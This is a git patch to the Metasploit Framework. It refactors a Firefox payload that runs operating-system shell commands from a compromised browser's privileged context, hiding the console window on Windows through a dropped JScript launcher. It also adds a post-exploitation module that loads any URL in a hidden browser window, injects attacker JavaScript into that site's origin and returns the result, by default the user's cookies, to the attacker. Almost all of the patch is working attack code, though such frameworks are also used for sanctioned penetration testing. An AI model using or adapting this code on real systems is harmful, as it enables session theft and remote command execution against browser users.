From b9c46cde4741c99b8cd4e3f77a4a0038dd5aea19 Mon Sep 17 00:00:00 2001 From: Joe Vennix Date: Sat, 4 Jan 2014 08:46:41 -0600 Subject: [PATCH] Refactor runCmd, allow js exec. * Updates exec payload to not touch disk * Adds XSS module that uses hiddenWindow (to avoid X-Frame-Options) --- lib/msf/core/payload/firefox.rb | 38 +++++++++----- modules/post/firefox/gather/xss.rb | 84 ++++++++++++++++++++++++++++++ 2 files changed, 109 insertions(+), 13 deletions(-) create mode 100644 modules/post/firefox/gather/xss.rb diff --git a/lib/msf/core/payload/firefox.rb b/lib/msf/core/payload/firefox.rb index 5670fede5e..ad5aefe845 100644 --- a/lib/msf/core/payload/firefox.rb +++ b/lib/msf/core/payload/firefox.rb @@ -34,7 +34,7 @@ module Msf::Payload::Firefox | end - # Javascript source code of runCmd(str) - runs a shell command on the OS + # Javascript source code of runCmd(str,cb) - runs a shell command on the OS # # Because of a limitation of firefox, we cannot retrieve the shell output # so the stdout/err are instead redirected to a temp file, which is read and @@ -44,20 +44,38 @@ module Msf::Payload::Firefox # which redirects stdout. # # On windows, the command is wrapped in two "cmd /c" calls, the outer of which - # redirects stdout. A JScript file "launch" file is then used to run the command - # without displaying the command prompt. + # redirects stdout. A JScript "launch" file is dropped and invoked with wscript + # to run the command without displaying the cmd.exe prompt. + # + # When the command contains the pattern ",JAVASCRIPT, ... ,ENDSCRIPT,", the + # javascript code between the tags is eval'd and returned. # # @return [String] javascript source code that exposes the runCmd(str) method. def run_cmd_source %Q| var ua = Components.classes["@mozilla.org/network/protocol;1?name=http"] .getService(Components.interfaces.nsIHttpProtocolHandler).userAgent; + var windows = (ua.indexOf("Windows")>-1); var svcs = Components.utils.import("resource://gre/modules/Services.jsm"); var jscript = (#{JSON.unparse({:src => jscript_launcher})}).src; - var runCmd = function(cmd) { + var runCmd = function(cmd, cb) { + var echo = function(str) { + if(!str \|\| !str.length) return ''; + var e = str.match(/echo ['"]?([^;\\s"']+)/); + return (e && e[1]) \|\| ''; + } + var js = (/,JAVASCRIPT,([\\s\\S]*),ENDSCRIPT,/g).exec(cmd.trim()); + if (js) { + var wcmd = (windows) ? cmd+"\\n" : ''; + var cmds = cmd.split(js[0]).map(function(s){return s.trim().replace(/^\\s*;/, "")}); + Function('cb', js[1])(function(r) { + cb(wcmd+echo(cmds[0])+"\\n"+r+"\\n"+echo(cmds[1])) + }) + return; + } + var shEsc = "\\\\$&"; var shPath = "/bin/sh -c" - var windows = (ua.indexOf("Windows")>-1); if (windows) { shPath = "cmd /c"; @@ -78,18 +96,12 @@ module Msf::Payload::Firefox } var stdoutFile = "#{Rex::Text.rand_text_alphanumeric(8+rand(12))}"; - var stderrFile = "#{Rex::Text.rand_text_alphanumeric(8+rand(12))}"; var stdout = Components.classes["@mozilla.org/file/directory_service;1"] .getService(Components.interfaces.nsIProperties) .get("TmpD", Components.interfaces.nsIFile); stdout.append(stdoutFile); - var stderr = Components.classes["@mozilla.org/file/directory_service;1"] - .getService(Components.interfaces.nsIProperties) - .get("TmpD", Components.interfaces.nsIFile); - stderr.append(stderrFile); - if (windows) { var shell = shPath+" "+cmd; shell = shPath+" "+shell.replace(/\\W/g, shEsc)+" >"+stdout.path+" 2>&1"; @@ -109,13 +121,13 @@ module Msf::Payload::Firefox var args = [jscriptFile.path, b64]; process.run(true, args, args.length); jscriptFile.remove(true); - return [cmd+"\\r\\n"+readFile(stdout.path), readFile(stderr.path)]; + cb(cmd+"\\n"+readFile(stdout.path)); } else { sh.initWithPath("/bin/sh"); process.init(sh); var args = ["-c", shell]; process.run(true, args, args.length); - return [readFile(stdout.path), readFile(stderr.path)]; + cb(readFile(stdout.path)); } }; | diff --git a/modules/post/firefox/gather/xss.rb b/modules/post/firefox/gather/xss.rb new file mode 100644 index 0000000000..c6e77453c4 --- /dev/null +++ b/modules/post/firefox/gather/xss.rb @@ -0,0 +1,84 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Post + def initialize(info={}) + super(update_info(info, + 'Name' => 'Firefox XSS', + 'Description' => %q{ + This module runs the provided SCRIPT as javascript in the + origin of the provided URL. It works by navigating a hidden + ChromeWindow to the URL, then injecting the SCRIPT with Function. + + The value returned by SCRIPT is sent back to the Metasploit instance. + The callback "send(result)" can also be used to return data for + asynchronous scripts. + + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'joev' ], + 'Platform' => [ 'firefox' ] + )) + + register_options([ + OptString.new('SCRIPT', [true, "The javascript command to run", 'return document.cookie']), + OptPath.new('SCRIPTFILE', [false, "The javascript file to run"]), + OptString.new('URL', [ + true, "URL to inject into", 'http://metasploit.com' + ]), + OptInt.new('TIMEOUT', [true, "Maximum time (seconds) to wait for a response", 90]) + ], self.class) + end + + def run + results = cmd_exec(",JAVASCRIPT,#{js_payload},ENDSCRIPT,", nil, datastore['TIMEOUT']) + + if results.present? + print_good results + else + print_error "No response received" + end + end + + def js_payload + js = datastore['SCRIPT'].strip + %Q| + + (function(){ + var hiddenWindow = Components.classes["@mozilla.org/appshell/appShellService;1"] + .getService(Components.interfaces.nsIAppShellService) + .hiddenDOMWindow; + + hiddenWindow.location = 'about:blank'; + var src = (#{JSON.unparse({ :src => js })}).src; + var XHR = hiddenWindow.XMLHttpRequest; + var key = "#{Rex::Text.rand_text_alphanumeric(8+rand(12))}"; + hiddenWindow[key] = true; + hiddenWindow.location = "#{datastore['URL']}"; + + var evt = function() { + if (hiddenWindow[key]) { + schedule(evt); + } else { + schedule(function(){ + cb(hiddenWindow.Function(src)()); + }, 500); + } + }; + + var schedule = function(cb, delay) { + var timer = Components.classes["@mozilla.org/timer;1"].createInstance(Components.interfaces.nsITimer); + timer.initWithCallback({notify:cb}, delay\|\|200, Components.interfaces.nsITimer.TYPE_ONE_SHOT); + return timer; + }; + + schedule(evt); + })(); + + |.strip + end +end